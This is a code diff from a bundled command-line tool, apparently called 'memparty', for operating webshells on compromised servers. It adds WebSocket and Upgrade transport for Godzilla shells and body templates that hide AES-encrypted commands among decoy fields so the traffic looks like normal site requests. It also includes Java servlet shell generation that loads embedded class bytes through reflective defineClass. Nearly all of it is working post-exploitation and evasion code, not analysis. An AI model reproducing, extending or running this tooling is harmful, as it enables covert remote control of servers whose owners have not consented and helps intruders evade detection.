+
finish(isBinary ? void 0 : new Error("expected a binary Godzilla WebSocket response"), data);
|
|
1287
|
+
});
|
|
1288
|
+
socket.once("close", () => finish(new Error("WebSocket closed without a response")));
|
|
1289
|
+
socket.once("error", (error) => finish(error));
|
|
1290
|
+
socket.once("unexpected-response", (_request, response) => {
|
|
1291
|
+
finish(new Error(`WebSocket handshake failed: HTTP ${response.statusCode ?? 0}`));
|
|
1292
|
+
});
|
|
1293
|
+
});
|
|
1294
|
+
}
|
|
1295
|
+
|
|
1296
|
+
// src/connect/godzilla.ts
|
|
981
1297
|
function serializeParams(params) {
|
|
982
1298
|
const parts = [];
|
|
983
1299
|
for (const [key, value] of params) {
|
|
@@ -1024,7 +1340,10 @@ async function openGodzillaSession(url, pass, key, options = {}) {
|
|
|
1024
1340
|
const left = wrapper.slice(0, 16);
|
|
1025
1341
|
const right = wrapper.slice(16);
|
|
1026
1342
|
const baseHeaders = buildHeaders(
|
|
1027
|
-
{
|
|
1343
|
+
{
|
|
1344
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
1345
|
+
...options.upgradeProtocol ? { Connection: "Upgrade", Upgrade: options.upgradeProtocol } : {}
|
|
1346
|
+
},
|
|
1028
1347
|
options
|
|
1029
1348
|
);
|
|
1030
1349
|
const post = (data, cookie2) => postRaw(url, encodeBody(pass, xc, data), {
|
|
@@ -1032,14 +1351,27 @@ async function openGodzillaSession(url, pass, key, options = {}) {
|
|
|
1032
1351
|
timeoutMs: options.timeoutMs,
|
|
1033
1352
|
insecure: options.insecure
|
|
1034
1353
|
});
|
|
1035
|
-
|
|
1036
|
-
|
|
1037
|
-
|
|
1354
|
+
let cookie;
|
|
1355
|
+
if (isWebSocketUrl(url)) {
|
|
1356
|
+
await requestWebSocket(url, aesEcbEncrypt(GODZILLA_PAYLOAD_BYTES, xc), options);
|
|
1357
|
+
} else {
|
|
1358
|
+
const initResponse = await post(GODZILLA_PAYLOAD_BYTES);
|
|
1359
|
+
const cookies = extractCookies(initResponse.headers);
|
|
1360
|
+
cookie = cookies.length > 0 ? cookies.join("; ") : void 0;
|
|
1361
|
+
}
|
|
1038
1362
|
return {
|
|
1039
1363
|
async callMethod(methodName, extraParams = []) {
|
|
1040
1364
|
const callData = gzip(
|
|
1041
1365
|
serializeParams([["methodName", Buffer.from(methodName, "utf8")], ...extraParams])
|
|
1042
1366
|
);
|
|
1367
|
+
if (isWebSocketUrl(url)) {
|
|
1368
|
+
const response = await requestWebSocket(url, aesEcbEncrypt(callData, xc), options);
|
|
1369
|
+
try {
|
|
1370
|
+
return gunzipLenient(aesEcbDecrypt(response, xc));
|
|
1371
|
+
} catch {
|
|
1372
|
+
throw new Error("WebSocket response failed to decrypt \u2014 wrong key or protocol?");
|
|
1373
|
+
}
|
|
1374
|
+
}
|
|
1043
1375
|
const res = await post(callData, cookie);
|
|
1044
1376
|
const text = res.body.toString("latin1");
|
|
1045
1377
|
const leftIdx = text.indexOf(left);
|
|
@@ -1505,9 +1837,16 @@ async function testSuo5(url, options = {}) {
|
|
|
1505
1837
|
import { randomInt as randomInt2 } from "crypto";
|
|
1506
1838
|
|
|
1507
1839
|
// src/core/site-profile.ts
|
|
1508
|
-
import { existsSync, mkdirSync, readdirSync, readFileSync as
|
|
1840
|
+
import { existsSync, mkdirSync, readdirSync, readFileSync as readFileSync3, writeFileSync as writeFileSync2 } from "fs";
|
|
1509
1841
|
import { homedir as homedir2 } from "os";
|
|
1510
1842
|
import { join as join2 } from "path";
|
|
1843
|
+
function inferBodyTemplateContentType(bodyTemplate) {
|
|
1844
|
+
const t = bodyTemplate.trimStart();
|
|
1845
|
+
if (t.startsWith("--")) return "multipart/form-data";
|
|
1846
|
+
if (t.startsWith("{") || t.startsWith("[")) return "application/json";
|
|
1847
|
+
if (t.startsWith("<")) return "text/xml";
|
|
1848
|
+
return null;
|
|
1849
|
+
}
|
|
1511
1850
|
function profileTemplates(profile) {
|
|
1512
1851
|
if (Array.isArray(profile.templates) && profile.templates.length > 0) {
|
|
1513
1852
|
return profile.templates;
|
|
@@ -1538,6 +1877,7 @@ function pickRequestShape(requests) {
|
|
|
1538
1877
|
return requests[requests.length - 1];
|
|
1539
1878
|
}
|
|
1540
1879
|
var NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
|
|
1880
|
+
var PAYLOAD_PLACEHOLDER = "{{payload}}";
|
|
1541
1881
|
function profilesDir() {
|
|
1542
1882
|
const override = process.env.MEMPARTY_PROFILES;
|
|
1543
1883
|
return override ? override : join2(homedir2(), ".memparty", "profiles");
|
|
@@ -1559,8 +1899,10 @@ function validateProfile(profile) {
|
|
|
1559
1899
|
throw new Error("profile needs at least one template (templates[] or legacy template)");
|
|
1560
1900
|
}
|
|
1561
1901
|
templates.forEach((t, i) => {
|
|
1562
|
-
if (!t.template || !/<!doctype\s+html|<html|<head/i.test(t.template)) {
|
|
1563
|
-
throw new Error(
|
|
1902
|
+
if (!t.template || !t.template.includes(PAYLOAD_PLACEHOLDER) && !/<!doctype\s+html|<html|<head/i.test(t.template)) {
|
|
1903
|
+
throw new Error(
|
|
1904
|
+
`templates[${i}].template must be a full HTML page, or carry the ${PAYLOAD_PLACEHOLDER} placeholder (any text format)`
|
|
1905
|
+
);
|
|
1564
1906
|
}
|
|
1565
1907
|
if (!t.contentType) {
|
|
1566
1908
|
throw new Error(`templates[${i}].contentType is required (e.g. "text/html; charset=utf-8")`);
|
|
@@ -1576,6 +1918,24 @@ function validateProfile(profile) {
|
|
|
1576
1918
|
if (req.secretIn !== void 0 && !["body", "query", "header"].includes(req.secretIn)) {
|
|
1577
1919
|
throw new Error(`request[${ri}].secretIn must be body | query | header`);
|
|
1578
1920
|
}
|
|
1921
|
+
if (req.bodyStyle !== void 0 && !["form", "json"].includes(req.bodyStyle)) {
|
|
1922
|
+
throw new Error(`request[${ri}].bodyStyle must be form | json`);
|
|
1923
|
+
}
|
|
1924
|
+
if (req.bodyTemplate !== void 0) {
|
|
1925
|
+
if (!req.bodyTemplate.includes(PAYLOAD_PLACEHOLDER)) {
|
|
1926
|
+
throw new Error(`request[${ri}].bodyTemplate must carry the ${PAYLOAD_PLACEHOLDER} placeholder`);
|
|
1927
|
+
}
|
|
1928
|
+
if (req.secretIn !== void 0 && req.secretIn !== "body") {
|
|
1929
|
+
throw new Error(`request[${ri}].bodyTemplate only applies to secretIn=body`);
|
|
1930
|
+
}
|
|
1931
|
+
}
|
|
1932
|
+
if (req.headers !== void 0) {
|
|
1933
|
+
for (const [k, v] of Object.entries(req.headers)) {
|
|
1934
|
+
if (typeof v !== "string" || !k) {
|
|
1935
|
+
throw new Error(`request[${ri}].headers must be a string map`);
|
|
1936
|
+
}
|
|
1937
|
+
}
|
|
1938
|
+
}
|
|
1579
1939
|
for (const [i, f] of (req.fields ?? []).entries()) {
|
|
1580
1940
|
if (!f.name || !/^[A-Za-z0-9_.-]+$/.test(f.name)) {
|
|
1581
1941
|
throw new Error(`request[${ri}].fields[${i}].name must be a form-field name`);
|
|
@@ -1605,7 +1965,7 @@ function saveProfile(profile) {
|
|
|
1605
1965
|
validateProfile(profile);
|
|
1606
1966
|
const dir = profilesDir();
|
|
1607
1967
|
mkdirSync(dir, { recursive: true });
|
|
1608
|
-
|
|
1968
|
+
writeFileSync2(profilePath(profile.name), `${JSON.stringify(profile, null, 2)}
|
|
1609
1969
|
`, "utf8");
|
|
1610
1970
|
}
|
|
1611
1971
|
function loadProfile(name) {
|
|
@@ -1615,7 +1975,7 @@ function loadProfile(name) {
|
|
|
1615
1975
|
`unknown profile ${JSON.stringify(name)} \u2014 scaffold one with 'memparty profile init ${name} --site <origin>' and fill in the template/paths by hand (stored: ${listProfiles().join(", ") || "(none)"})`
|
|
1616
1976
|
);
|
|
1617
1977
|
}
|
|
1618
|
-
const profile = JSON.parse(
|
|
1978
|
+
const profile = JSON.parse(readFileSync3(path, "utf8"));
|
|
1619
1979
|
validateProfile(profile);
|
|
1620
1980
|
return profile;
|
|
1621
1981
|
}
|
|
@@ -1747,7 +2107,6 @@ function renderFieldValue(value) {
|
|
|
1747
2107
|
(_m, a, b) => String(randomInt(Number(a), Number(b) + 1))
|
|
1748
2108
|
);
|
|
1749
2109
|
}
|
|
1750
|
-
var RIGHT_MARKER = '";';
|
|
1751
2110
|
function encryptField2(plaintext, aesKey, cipher = LEGACY_CIPHER) {
|
|
1752
2111
|
return encryptField(plaintext, aesKey, cipher);
|
|
1753
2112
|
}
|
|
@@ -1760,6 +2119,50 @@ function buildFormBody(fields) {
|
|
|
1760
2119
|
"utf8"
|
|
1761
2120
|
);
|
|
1762
2121
|
}
|
|
2122
|
+
function buildJsonBody(fields) {
|
|
2123
|
+
const obj = {};
|
|
2124
|
+
for (const f of fields) obj[f.name] = f.value;
|
|
2125
|
+
return Buffer.from(JSON.stringify(obj), "utf8");
|
|
2126
|
+
}
|
|
2127
|
+
function renderBodyTemplate(template, payload) {
|
|
2128
|
+
return Buffer.from(renderFieldValue(template.replaceAll("{{payload}}", payload)), "utf8");
|
|
2129
|
+
}
|
|
2130
|
+
function escapeRegExp(s) {
|
|
2131
|
+
return s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
|
|
2132
|
+
}
|
|
2133
|
+
function decodeJsonBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
|
|
2134
|
+
const text = body.toString("utf8");
|
|
2135
|
+
const m = new RegExp(`"${escapeRegExp(pass)}"\\s*:\\s*"([^"]*)"`).exec(text);
|
|
2136
|
+
if (!m) return null;
|
|
2137
|
+
try {
|
|
2138
|
+
return decryptField2(m[1], aesKey, cipher);
|
|
2139
|
+
} catch {
|
|
2140
|
+
return null;
|
|
2141
|
+
}
|
|
2142
|
+
}
|
|
2143
|
+
function decodeMultipartBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
|
|
2144
|
+
const text = body.toString("utf8");
|
|
2145
|
+
const m = new RegExp(`name="${escapeRegExp(pass)}"[^\\n]*\\r?\\n(\\r?\\n|[^\\n]*\\r?\\n)*\\r?\\n([^\\r\\n]*)`).exec(text);
|
|
2146
|
+
if (!m) return null;
|
|
2147
|
+
try {
|
|
2148
|
+
return decryptField2(m[2], aesKey, cipher);
|
|
2149
|
+
} catch {
|
|
2150
|
+
return null;
|
|
2151
|
+
}
|
|
2152
|
+
}
|
|
2153
|
+
function decodeXmlBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
|
|
2154
|
+
const text = body.toString("utf8");
|
|
2155
|
+
const m = new RegExp(`<${escapeRegExp(pass)}>([^<]*)</${escapeRegExp(pass)}>`).exec(text);
|
|
2156
|
+
if (!m) return null;
|
|
2157
|
+
try {
|
|
2158
|
+
return decryptField2(m[1], aesKey, cipher);
|
|
2159
|
+
} catch {
|
|
2160
|
+
return null;
|
|
2161
|
+
}
|
|
2162
|
+
}
|
|
2163
|
+
function decodeAnyBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
|
|
2164
|
+
return decodeJsonBody(body, pass, aesKey, cipher) ?? decodeMultipartBody(body, pass, aesKey, cipher) ?? decodeXmlBody(body, pass, aesKey, cipher);
|
|
2165
|
+
}
|
|
1763
2166
|
function decodeRequestBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
|
|
1764
2167
|
const text = body.toString("utf8");
|
|
1765
2168
|
for (const pair of text.split("&")) {
|
|
@@ -1780,13 +2183,32 @@ function injectFragment(templateHtml, fragment) {
|
|
|
1780
2183
|
if (idx === -1) return templateHtml + fragment;
|
|
1781
2184
|
return templateHtml.slice(0, idx) + fragment + templateHtml.slice(idx);
|
|
1782
2185
|
}
|
|
1783
|
-
function
|
|
1784
|
-
const start =
|
|
2186
|
+
function extractBetween(text, left, right) {
|
|
2187
|
+
const start = text.indexOf(left);
|
|
1785
2188
|
if (start === -1) return null;
|
|
1786
|
-
const valueStart = start +
|
|
1787
|
-
|
|
2189
|
+
const valueStart = start + left.length;
|
|
2190
|
+
if (right === "") return text.slice(valueStart);
|
|
2191
|
+
const end = text.indexOf(right, valueStart);
|
|
1788
2192
|
if (end === -1) return null;
|
|
1789
|
-
return
|
|
2193
|
+
return text.slice(valueStart, end);
|
|
2194
|
+
}
|
|
2195
|
+
function templateDelimiters(templates, markers) {
|
|
2196
|
+
const out = [];
|
|
2197
|
+
let markerUsed = false;
|
|
2198
|
+
for (const t of templates) {
|
|
2199
|
+
const idx = t.template.indexOf("{{payload}}");
|
|
2200
|
+
if (idx !== -1) {
|
|
2201
|
+
out.push({
|
|
2202
|
+
left: t.template.slice(0, idx),
|
|
2203
|
+
right: t.template.slice(idx + "{{payload}}".length)
|
|
2204
|
+
});
|
|
2205
|
+
} else if (!markerUsed) {
|
|
2206
|
+
out.push({ left: markers.left, right: markers.right });
|
|
2207
|
+
markerUsed = true;
|
|
2208
|
+
}
|
|
2209
|
+
}
|
|
2210
|
+
if (out.length === 0) out.push({ left: markers.left, right: markers.right });
|
|
2211
|
+
return out;
|
|
1790
2212
|
}
|
|
1791
2213
|
|
|
1792
2214
|
// src/connect/mimic.ts
|
|
@@ -1828,6 +2250,7 @@ async function roundTrip(req, ctx, plaintext) {
|
|
|
1828
2250
|
const shape = pickRequestShape(ctx.profile ? profileRequests(ctx.profile) : []);
|
|
1829
2251
|
const secretField = shape?.secretField ?? ctx.pass;
|
|
1830
2252
|
const secretIn = shape?.secretIn ?? "body";
|
|
2253
|
+
const bodyStyle = shape?.bodyStyle ?? "form";
|
|
1831
2254
|
const cipher = encryptField2(Buffer.from(plaintext, "utf8"), ctx.aesKey, ctx.cipher);
|
|
1832
2255
|
const decoys = (shape?.fields ?? []).map((f) => ({
|
|
1833
2256
|
name: f.name,
|
|
@@ -1841,11 +2264,29 @@ async function roundTrip(req, ctx, plaintext) {
|
|
|
1841
2264
|
body = Buffer.alloc(0);
|
|
1842
2265
|
} else if (secretIn === "header") {
|
|
1843
2266
|
extraHeaders[secretField] = cipher;
|
|
1844
|
-
body = buildFormBody(decoys);
|
|
2267
|
+
body = bodyStyle === "json" ? buildJsonBody(decoys) : buildFormBody(decoys);
|
|
2268
|
+
} else if (shape?.bodyTemplate) {
|
|
2269
|
+
body = renderBodyTemplate(shape.bodyTemplate, cipher);
|
|
1845
2270
|
} else {
|
|
1846
|
-
body = buildFormBody([...decoys, { name: secretField, value: cipher }]);
|
|
1847
|
-
}
|
|
1848
|
-
const
|
|
2271
|
+
body = bodyStyle === "json" ? buildJsonBody([...decoys, { name: secretField, value: cipher }]) : buildFormBody([...decoys, { name: secretField, value: cipher }]);
|
|
2272
|
+
}
|
|
2273
|
+
const baseHeaders = { ...BROWSER_HEADERS };
|
|
2274
|
+
if (secretIn === "query") delete baseHeaders["Content-Type"];
|
|
2275
|
+
else if (shape?.bodyTemplate) {
|
|
2276
|
+
const t = shape.bodyTemplate.trimStart();
|
|
2277
|
+
if (t.startsWith("--")) {
|
|
2278
|
+
const boundary = t.split(/\r?\n/, 1)[0].slice(2);
|
|
2279
|
+
baseHeaders["Content-Type"] = `multipart/form-data; boundary=${boundary}`;
|
|
2280
|
+
} else {
|
|
2281
|
+
const inferred = inferBodyTemplateContentType(shape.bodyTemplate);
|
|
2282
|
+
if (inferred) baseHeaders["Content-Type"] = inferred;
|
|
2283
|
+
else delete baseHeaders["Content-Type"];
|
|
2284
|
+
}
|
|
2285
|
+
} else if (bodyStyle === "json") baseHeaders["Content-Type"] = "application/json";
|
|
2286
|
+
const headers = buildHeaders(
|
|
2287
|
+
{ ...baseHeaders, ...extraHeaders, ...shape?.headers ?? {} },
|
|
2288
|
+
req.common
|
|
2289
|
+
);
|
|
1849
2290
|
let res;
|
|
1850
2291
|
try {
|
|
1851
2292
|
res = await postRaw(requestUrl, body, {
|
|
@@ -1871,7 +2312,16 @@ async function roundTrip(req, ctx, plaintext) {
|
|
|
1871
2312
|
durationMs: res.durationMs
|
|
1872
2313
|
};
|
|
1873
2314
|
}
|
|
1874
|
-
const
|
|
2315
|
+
const text = res.body.toString("utf8");
|
|
2316
|
+
const delimiters = templateDelimiters(
|
|
2317
|
+
ctx.profile ? profileTemplates(ctx.profile) : [],
|
|
2318
|
+
ctx.markers
|
|
2319
|
+
);
|
|
2320
|
+
let b64 = null;
|
|
2321
|
+
for (const d of delimiters) {
|
|
2322
|
+
b64 = extractBetween(text, d.left, d.right);
|
|
2323
|
+
if (b64 !== null) break;
|
|
2324
|
+
}
|
|
1875
2325
|
if (b64 === null) {
|
|
1876
2326
|
return {
|
|
1877
2327
|
ok: false,
|
|
@@ -2021,7 +2471,7 @@ registerProtocol(suo5Protocol);
|
|
|
2021
2471
|
registerProtocol(mimicProtocol);
|
|
2022
2472
|
|
|
2023
2473
|
// src/core/oplog.ts
|
|
2024
|
-
import { appendFileSync, existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as
|
|
2474
|
+
import { appendFileSync, existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync4 } from "fs";
|
|
2025
2475
|
import { homedir as homedir3 } from "os";
|
|
2026
2476
|
import { dirname, join as join3 } from "path";
|
|
2027
2477
|
var OUTPUT_LIMIT = 2e3;
|
|
@@ -2042,7 +2492,7 @@ function readOps(filter = {}) {
|
|
|
2042
2492
|
try {
|
|
2043
2493
|
const file = opLogPath();
|
|
2044
2494
|
if (existsSync2(file)) {
|
|
2045
|
-
for (const line of
|
|
2495
|
+
for (const line of readFileSync4(file, "utf8").split("\n")) {
|
|
2046
2496
|
const trimmed = line.trim();
|
|
2047
2497
|
if (!trimmed) continue;
|
|
2048
2498
|
try {
|
|
@@ -2087,7 +2537,7 @@ function formatOp(e) {
|
|
|
2087
2537
|
}
|
|
2088
2538
|
|
|
2089
2539
|
// src/core/targets.ts
|
|
2090
|
-
import { existsSync as existsSync3, mkdirSync as mkdirSync3, readFileSync as
|
|
2540
|
+
import { existsSync as existsSync3, mkdirSync as mkdirSync3, readFileSync as readFileSync5, writeFileSync as writeFileSync3 } from "fs";
|
|
2091
2541
|
import { homedir as homedir4 } from "os";
|
|
2092
2542
|
import { dirname as dirname2, join as join4 } from "path";
|
|
2093
2543
|
var NAME_RE2 = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
|
|
@@ -2105,7 +2555,7 @@ function listProjects() {
|
|
|
2105
2555
|
try {
|
|
2106
2556
|
const file = targetStorePath();
|
|
2107
2557
|
if (!existsSync3(file)) return {};
|
|
2108
|
-
const data = JSON.parse(
|
|
2558
|
+
const data = JSON.parse(readFileSync5(file, "utf8"));
|
|
2109
2559
|
if (data !== null && typeof data === "object" && !Array.isArray(data)) {
|
|
2110
2560
|
return data;
|
|
2111
2561
|
}
|
|
@@ -2119,7 +2569,7 @@ function getProject(name) {
|
|
|
2119
2569
|
function writeProjects(projects) {
|
|
2120
2570
|
const file = targetStorePath();
|
|
2121
2571
|
mkdirSync3(dirname2(file), { recursive: true });
|
|
2122
|
-
|
|
2572
|
+
writeFileSync3(file, `${JSON.stringify(projects, null, 2)}
|
|
2123
2573
|
`, { mode: 384 });
|
|
2124
2574
|
}
|
|
2125
2575
|
function saveProjectMeta(name, meta) {
|
|
@@ -2227,7 +2677,8 @@ function autoSaveShell(conn) {
|
|
|
2227
2677
|
headerValue: conn.headerValue,
|
|
2228
2678
|
extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
|
|
2229
2679
|
insecure: conn.insecure,
|
|
2230
|
-
profile: conn.profile
|
|
2680
|
+
profile: conn.profile,
|
|
2681
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
2231
2682
|
});
|
|
2232
2683
|
return `${projectName}/${shellName}`;
|
|
2233
2684
|
}
|
|
@@ -2281,6 +2732,7 @@ function resolveConnection(ref, flags) {
|
|
|
2281
2732
|
extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },
|
|
2282
2733
|
insecure: flags.insecure ?? stored?.insecure,
|
|
2283
2734
|
profile: flags.profile ?? stored?.profile,
|
|
2735
|
+
upgradeProtocol: flags.upgradeProtocol ?? stored?.upgradeProtocol,
|
|
2284
2736
|
targetName
|
|
2285
2737
|
};
|
|
2286
2738
|
}
|
|
@@ -2300,15 +2752,15 @@ function parseExtraHeaders(lines) {
|
|
|
2300
2752
|
function registerConnectCommand(program) {
|
|
2301
2753
|
program.command("connect").description(
|
|
2302
2754
|
"Test whether a deployed webshell is alive and the credentials work"
|
|
2303
|
-
).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(new
|
|
2755
|
+
).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(new Option2("-t, --tool <tool>", "shell protocol").choices(protocolNames())).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").option(
|
|
2304
2756
|
"--header-name <name>",
|
|
2305
2757
|
"gate header name reported by gen (shellToolConfig.headerName)"
|
|
2306
2758
|
).option(
|
|
2307
2759
|
"--header-value <value>",
|
|
2308
2760
|
"gate header value reported by gen (shellToolConfig.headerValue)"
|
|
2309
2761
|
).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').addOption(
|
|
2310
|
-
new
|
|
2311
|
-
).option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
|
|
2762
|
+
new Option2("--suo5-mode <mode>", "suo5 protocol variant").choices(["auto", "v2", "v1"]).default("auto")
|
|
2763
|
+
).option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
|
|
2312
2764
|
"after",
|
|
2313
2765
|
`
|
|
2314
2766
|
Examples:
|
|
@@ -2343,7 +2795,8 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
|
|
|
2343
2795
|
headerValue: opts.headerValue,
|
|
2344
2796
|
extraHeaders: parseExtraHeaders(opts.header),
|
|
2345
2797
|
insecure: opts.insecure,
|
|
2346
|
-
profile: opts.profile
|
|
2798
|
+
profile: opts.profile,
|
|
2799
|
+
upgradeProtocol: opts.upgradeProtocol
|
|
2347
2800
|
});
|
|
2348
2801
|
} catch (err) {
|
|
2349
2802
|
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
@@ -2355,7 +2808,8 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
|
|
|
2355
2808
|
headerValue: conn.headerValue,
|
|
2356
2809
|
extraHeaders: conn.extraHeaders,
|
|
2357
2810
|
timeoutMs,
|
|
2358
|
-
insecure: conn.insecure
|
|
2811
|
+
insecure: conn.insecure,
|
|
2812
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
2359
2813
|
};
|
|
2360
2814
|
let result;
|
|
2361
2815
|
try {
|
|
@@ -2407,10 +2861,10 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
|
|
|
2407
2861
|
}
|
|
2408
2862
|
|
|
2409
2863
|
// src/commands/custom.ts
|
|
2410
|
-
import { Command as
|
|
2864
|
+
import { Command as Command3 } from "commander";
|
|
2411
2865
|
|
|
2412
2866
|
// src/custom/build.ts
|
|
2413
|
-
import { mkdirSync as mkdirSync4, readFileSync as
|
|
2867
|
+
import { mkdirSync as mkdirSync4, readFileSync as readFileSync6, writeFileSync as writeFileSync4 } from "fs";
|
|
2414
2868
|
import { join as join5 } from "path";
|
|
2415
2869
|
|
|
2416
2870
|
// src/core/jdk.ts
|
|
@@ -2420,7 +2874,8 @@ var JDK_VERSIONS = {
|
|
|
2420
2874
|
java9: 53,
|
|
2421
2875
|
java11: 55,
|
|
2422
2876
|
java17: 61,
|
|
2423
|
-
java21: 65
|
|
2877
|
+
java21: 65,
|
|
2878
|
+
java25: 69
|
|
2424
2879
|
};
|
|
2425
2880
|
function resolveJreVersion(input3) {
|
|
2426
2881
|
if (input3 === void 0 || input3 === "") return void 0;
|
|
@@ -2437,9 +2892,98 @@ function resolveJreVersion(input3) {
|
|
|
2437
2892
|
}
|
|
2438
2893
|
|
|
2439
2894
|
// src/custom/java-template.ts
|
|
2895
|
+
function renderWrapperJava() {
|
|
2896
|
+
return `package mimic;
|
|
2897
|
+
|
|
2898
|
+
import java.io.*;
|
|
2899
|
+
import javax.servlet.*;
|
|
2900
|
+
import javax.servlet.http.*;
|
|
2901
|
+
|
|
2902
|
+
/** Re-exposes a consumed request body to downstream filters/servlets. */
|
|
2903
|
+
public class CachedBody extends HttpServletRequestWrapper {
|
|
2904
|
+
private final byte[] body;
|
|
2905
|
+
|
|
2906
|
+
public CachedBody(HttpServletRequest req, byte[] body) {
|
|
2907
|
+
super(req);
|
|
2908
|
+
this.body = body;
|
|
2909
|
+
}
|
|
2910
|
+
|
|
2911
|
+
public ServletInputStream getInputStream() {
|
|
2912
|
+
return new Stream(body);
|
|
2913
|
+
}
|
|
2914
|
+
|
|
2915
|
+
public BufferedReader getReader() {
|
|
2916
|
+
return new BufferedReader(new InputStreamReader(getInputStream()));
|
|
2917
|
+
}
|
|
2918
|
+
|
|
2919
|
+
static class Stream extends ServletInputStream {
|
|
2920
|
+
private final ByteArrayInputStream in;
|
|
2921
|
+
|
|
2922
|
+
Stream(byte[] body) {
|
|
2923
|
+
this.in = new ByteArrayInputStream(body);
|
|
2924
|
+
}
|
|
2925
|
+
|
|
2926
|
+
public int read() {
|
|
2927
|
+
return in.read();
|
|
2928
|
+
}
|
|
2929
|
+
|
|
2930
|
+
public boolean isFinished() {
|
|
2931
|
+
return in.available() == 0;
|
|
2932
|
+
}
|
|
2933
|
+
|
|
2934
|
+
public boolean isReady() {
|
|
2935
|
+
return true;
|
|
2936
|
+
}
|
|
2937
|
+
|
|
2938
|
+
public void setReadListener(ReadListener l) {}
|
|
2939
|
+
}
|
|
2940
|
+
}
|
|
2941
|
+
`;
|
|
2942
|
+
}
|
|
2440
2943
|
function javaStringLiteral(s) {
|
|
2441
2944
|
return s.replaceAll("\\", "\\\\").replaceAll('"', '\\"').replaceAll("\r", "").replaceAll("\n", "\\n").replaceAll(/[^\x00-\x7f]/g, (ch) => `\\u${ch.codePointAt(0).toString(16).padStart(4, "0")}`);
|
|
2442
2945
|
}
|
|
2946
|
+
function wrapperLoaderMethods(opts) {
|
|
2947
|
+
return `
|
|
2948
|
+
/** wrapper class bytes (mimic.CachedBody + its stream) \u2014 embedded so the
|
|
2949
|
+
uploaded shell stays a single self-contained class file */
|
|
2950
|
+
static final String WRAPPER_B64 = "${opts.wrapper.bodyB64}";
|
|
2951
|
+
static final String WRAPPER_STREAM_B64 = "${opts.wrapper.streamB64}";
|
|
2952
|
+
|
|
2953
|
+
static Class<?> forNameQuiet(String name, ClassLoader cl) {
|
|
2954
|
+
try {
|
|
2955
|
+
return Class.forName(name, true, cl);
|
|
2956
|
+
} catch (Throwable t) {
|
|
2957
|
+
return null;
|
|
2958
|
+
}
|
|
2959
|
+
}
|
|
2960
|
+
|
|
2961
|
+
static Class<?> defineQuiet(ClassLoader cl, String name, String b64) {
|
|
2962
|
+
try {
|
|
2963
|
+
java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass",
|
|
2964
|
+
String.class, byte[].class, int.class, int.class);
|
|
2965
|
+
m.setAccessible(true);
|
|
2966
|
+
byte[] bytes = java.util.Base64.getDecoder().decode(b64);
|
|
2967
|
+
return (Class<?>) m.invoke(cl, name, bytes, 0, bytes.length);
|
|
2968
|
+
} catch (Throwable t) {
|
|
2969
|
+
return null; // another shell in this JVM already defined it
|
|
2970
|
+
}
|
|
2971
|
+
}
|
|
2972
|
+
|
|
2973
|
+
/** Wrap the request so downstream code can re-read the JSON body we consumed. */
|
|
2974
|
+
static HttpServletRequest wrapBody(HttpServletRequest req, byte[] body) throws Exception {
|
|
2975
|
+
ClassLoader cl = ${opts.className}.class.getClassLoader();
|
|
2976
|
+
Class<?> c = forNameQuiet("mimic.CachedBody", cl);
|
|
2977
|
+
if (c == null) {
|
|
2978
|
+
defineQuiet(cl, "mimic.CachedBody$Stream", WRAPPER_STREAM_B64);
|
|
2979
|
+
c = defineQuiet(cl, "mimic.CachedBody", WRAPPER_B64);
|
|
2980
|
+
if (c == null) c = forNameQuiet("mimic.CachedBody", cl);
|
|
2981
|
+
}
|
|
2982
|
+
return (HttpServletRequest) c.getConstructor(HttpServletRequest.class, byte[].class)
|
|
2983
|
+
.newInstance(req, body);
|
|
2984
|
+
}
|
|
2985
|
+
`;
|
|
2986
|
+
}
|
|
2443
2987
|
var MD5_METHOD = String.raw`
|
|
2444
2988
|
static String md5Hex(String s) throws Exception {
|
|
2445
2989
|
MessageDigest m = MessageDigest.getInstance("MD5");
|
|
@@ -2575,9 +3119,11 @@ function sharedMethods(cipher) {
|
|
|
2575
3119
|
return MD5_METHOD + cryptMethod(cipher.algorithm) + encDecMethods(cipher.encoding) + (cipher.padTail ? PAD_METHODS : "") + fieldTransforms(cipher);
|
|
2576
3120
|
}
|
|
2577
3121
|
function renderFilterJava(opts) {
|
|
2578
|
-
const { className, pass, secret, fields, templates, cipher } = opts;
|
|
3122
|
+
const { className, pass, secret, fields, bodyContentTypes, templates, cipher } = opts;
|
|
2579
3123
|
const fieldsJava = fields.map((f) => `"${javaStringLiteral(f)}"`).join(", ");
|
|
2580
|
-
const
|
|
3124
|
+
const bodyCtsJava = bodyContentTypes.map((n) => `"${javaStringLiteral(n)}"`).join(", ");
|
|
3125
|
